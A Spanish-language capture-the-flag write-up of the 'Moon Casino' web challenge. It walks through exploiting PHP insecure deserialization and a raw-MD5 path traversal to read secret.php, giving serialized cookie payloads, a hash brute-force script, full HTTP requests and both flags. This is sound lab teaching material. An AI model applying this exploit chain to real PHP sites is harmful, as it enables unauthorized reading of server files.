Descripción

Our casino is under construction. Warm up yourself with this easy challenge!

http://casino.nn9ed.ka0labs.org/

Write-up

Cuando entramos en la web vemos lo siguiente:

Como a simple vista solo tenemos una imagen de la luna, hacemos Ctrl+U para echarle un vistazo al código fuente:

<html>
<head>
<title>Moon Casino (under construction)</title>
<style>
    body{
        background: url(moon.jpg) no-repeat center center fixed;
    }
</style>
</head>
<body>
<!-- index.php?source=go --!>
</body>
</html>

Destaca el comentario, con el que averiguamos que existe el atributo source al que debemos darle el valor go. Hacemos la petición http://casino.nn9ed.ka0labs.org/?source=go y nos devuelve lo siguiente:

<?php
session_start();



if ($_GET['source']){
    highlight_file(__FILE__);
    exit();
}


class casino_debug {
    public $var = "path";
    public function __wakeup(){
        var_dump($_SESSION);
        echo file_get_contents($_SESSION[$this->var]);
    }
}


if (!empty($_GET['action']) && $_GET['action'] == "debug") {
    echo base64_decode($_COOKIE['debug']);
    unserialize(base64_decode($_COOKIE['debug']));
    exit();
}


if (!empty($_GET['action']) && $_GET['action'] == "bet" && !empty($_POST['bet']) && !empty($_POST['guess'])) {
    if (strpos($_POST['bet'], "/") !== false) {
        echo "HACK ATTEMPT!!!eleven!!1!";
        exit();
    }
    $_SESSION['path'] = __FILE__;
    $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];

    // Unfair :(
    if (rand() === $_POST['guess']) {
        echo "You win:" . file_get_contents("secret.php");
    }
    else {
        echo "You lose :)";
    }
}  
?>
<html>
<head>
<title>Moon Casino (under construction)</title>
<style>
    body{
        background: url(moon.jpg) no-repeat center center fixed;
    }
</style>
</head>
<body>
<!-- index.php?source=go --!>
</body>
</html>

Hemos obtenido el código fuente de index.php, es hora de analizarlo y ver las posibles vulnerabilidades que tiene:

En primer lugar, echemos un ojo a este primer if. Nuestro objetivo parece que es llegar a leer los contenidos de secret.php. Para llegar a imprimir secret.php, debemos adivinar un número que se genera aleatoriamente, algo que consideramos prácticamente imposible.

Primer intento: 1000 IQ

Antes de nada, probamos si podemos acceder directamente a la URL. Puede que en ningún momento se esté filtrando el acceso al archivo y, aunque no leamos el código fuente, podemos ver el resultado de su ejecución:

Encontramos la primera flag del reto:

nn9ed{unS3r14l1z3_m3_t0_w4rm_up}

Ahora necesitamos resolverlo de la forma prevista para obtener la segunda flag y acabar el reto por completo.

Segundo intento: the intended way

Nuestro objetivo es llegar a leer el código fuente de secret.php, y una de las formas de hacerlo es mediante la función file_get_contents. Podemos ver la llamada a esta función en dos ocasiones en el código de index.php.

// Unfair :(
if (rand() === $_POST['guess']) {
    echo "You win:" . file_get_contents("secret.php");
}

Como hemos dicho antes, suponemos que es imposible leer contenido a través de esta llamada. Veamos la segunda opción.

class casino_debug {
    public $var = "path";
    public function __wakeup(){
        var_dump($_SESSION);
        echo file_get_contents($_SESSION[$this->var]);
    }
}

Este trozo de código define una clase casino_debug. Lo interesante es el método __wakeup(). Si lo buscamos en la documentación de PHP, nos dice que esta método se llama cuando se crea un valor PHP a partir de una serialización. Esto se hace con la función unserialize. Nos interesa hacer que el método se ejecute, ya que nos imprimirá el contenido del archivo cuyo path refleja $_SESSION[$this->var]. Ahora que sabemos lo que debemos lograr, vamos a ello:

Paso 1: unserialize

Analizaremos el código donde se hace la llamada a unserialize.

if (!empty($_GET['action']) && $_GET['action'] == "debug") {
    echo base64_decode($_COOKIE['debug']);
    unserialize(base64_decode($_COOKIE['debug']));
    exit();
}

Con Burp Suite haremos una petición que haga ejecutar esa línea de código. Antes de nada, necesitamos saber qué objeto queremos crear. Como queremos que se llame al método __wakeup de casino_debug, debe ser un objeto de esa clase. Haremos un script en PHP que lo serialize directamente y que, además, lo codifique en base64:

<?php
class casino_debug {
    public $var = "path";
}
// Hacemos urlencode para no tener ningún problema con caracteres no // alfanuméricos
print urlencode(base64_encode(serialize(new casino_debug)));

// Output:
// TzoxMjoiY2FzaW5vX2RlYnVnIjoxOntzOjM6InZhciI7czo0OiJwYXRoIjt9
?>

Este resultado debemos meterlo en una cookie llamada debug. La llamada nos quedaría tal que así:

GET /?action=debug HTTP/1.1
Host: casino.nn9ed.ka0labs.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=uktma5fd94ht36usbu7bgdhgs0; debug=TzoxMjoiY2FzaW5vX2RlYnVnIjoxOntzOjM6InZhciI7czo0OiJwYXRoIjt9
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Cuando metemos esto en el Repeater de Burp, obtenemos lo siguiente:

Gracias a la llamada a echo, podemos ver que el valor está llegando correctamente. Vayamos al siguiente paso.

Paso 2: $_SESSION

Cuando analizamos la clase casino_debug, vimos que se leía el archivo nombrado en $_SESSION[$this->var]. Veamos donde se le da valor al array asociativo$_SESSION:

if (!empty($_GET['action']) && $_GET['action'] == "bet" && !empty($_POST['bet']) && !empty($_POST['guess'])) {
    if (strpos($_POST['bet'], "/") !== false) {
        echo "HACK ATTEMPT!!!eleven!!1!";
        exit();
    }
    $_SESSION['path'] = __FILE__;
    $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];

Se están modificando dos entradas, path y bet. La primera no nos interesa, ya que no cambia nunca el valor, siempre se asigna __FILE__ que corresponde en este caso a index,php. En cuanto a la segunda, se le da un valor en función de las variables guess y bet que se pasan mediante POST. El valor de bet se usará tal cual, pero a guess se le obtiene el hash raw MD5 (por estar a TRUE el segundo parámetro de md5). De esta manera:

Si guess=123&bet=secret.php entonces
    md5(guess) => 202cb962ac59075b964b07152d234b70 => ("basura" al pasar de hex a ascii)

$_SESSION['bet'] = (basura)/secret.php

Paso 3: raw MD5

Tenemos como objetivo que $_SESSION['bet'] tenga como resultado una cadena que nos permita leer secret.php. Tenemos control absoluto sobre la segunda parte de la cadena, pero la primera tenemos que inventarnos algo. Tras leer este write-up sobre SQLi con hashes raw MD5 se nos puede ocurrir lo siguiente:

Tenemos la cadena xxxxxx/secret.php. No podemos controlar por completo la primera parte, pero si hacemos que acabe en xxxx/../secret.php. De esta manera, da igual lo que sean las primeras “x”, que lo sobreescribiremos por así decirlo con ... Para hacerlo hemos escrito el siguiente script en Python:

#!/usr/bin/env python3

import hashlib
import binascii

def check(s, wanted):
    res = s[-len(wanted):]
    if res == wanted:
        return True
    return False

TARGET = '/..'
wanted = binascii.hexlify(TARGET.encode()).decode()
found = False
i = 0

while not found:
    md5hash = hashlib.md5(str.encode(str(i))).hexdigest()
    if check(md5hash, wanted):
        print('[x] Found!: {}'.format(i))
        found = True
    i += 1

# Output: [x] Found!: 23334290

Lo que hemos hecho ha sido, mediante fuerza bruta, buscar un número que al hacerle el hash MD5 acabe en el equivalente en hexadecimal de /.. (en este caso 2f2e2e). Obviamente se trata de una fuerza bruta pésima al estar tratando solo con caracteres numéricos, pero también es lo más rápido de programar. Obtenemos que 23334290 cumple con las condiciones.

Formaremos la petición POST que dará a $_SESSION['bet'] el valor que nos interesa:

POST /?action=bet HTTP/1.1
Host: casino.nn9ed.ka0labs.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=uktma5fd94ht36usbu7bgdhgs0
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

guess=23334290&bet=secret.php

Cuando lo mandamos con Burp obtenemos lo siguiente:

En este caso, la respuesta solo nos dice que hemos perdido (recordemos que en principio se juega adivinando un número). En el último paso comprobaremos que hayamos hecho todo bien.

Paso 4: flag

Ya hemos visto todo lo que debemos saber para terminar de resolver el reto. Volveremos a mandar la petición que vimos en el paso 1 para comprobar que todo haya ido bien:

Como vemos en la respuesta, efectivamente tanto path como bet tienen los valores que esperábamos. El problema aquí es que var hace que se esté leyendo el archivo al que apunta path en lugar de al que apunta bet. Para solucionar esto basta con cambiar la creación del objeto casino_debug. En lugar del anterior, usaremos este:

<?php
class casino_debug {
    public $var = "bet";
}
// Hacemos urlencode para no tener ningún problema con caracteres no // alfanuméricos
print urlencode(base64_encode(serialize(new casino_debug)));

// Output:
// TzoxMjoiY2FzaW5vX2RlYnVnIjoxOntzOjM6InZhciI7czozOiJiZXQiO30%3D
?>

La petición ahora sería la siguiente:

GET /?action=debug HTTP/1.1
Host: casino.nn9ed.ka0labs.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=uktma5fd94ht36usbu7bgdhgs0; debug=TzoxMjoiY2FzaW5vX2RlYnVnIjoxOntzOjM6InZhciI7czozOiJiZXQiO30%3D
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Y al mandarla con Burp, obtenemos lo siguiente:

Ahora sí, obtenemos el código fuente de secret.php y con él, la flag:

nn9ed{W3_f41l_s0m3t1m3s}

Leave a comment

Your email address will not be published. Required fields are marked *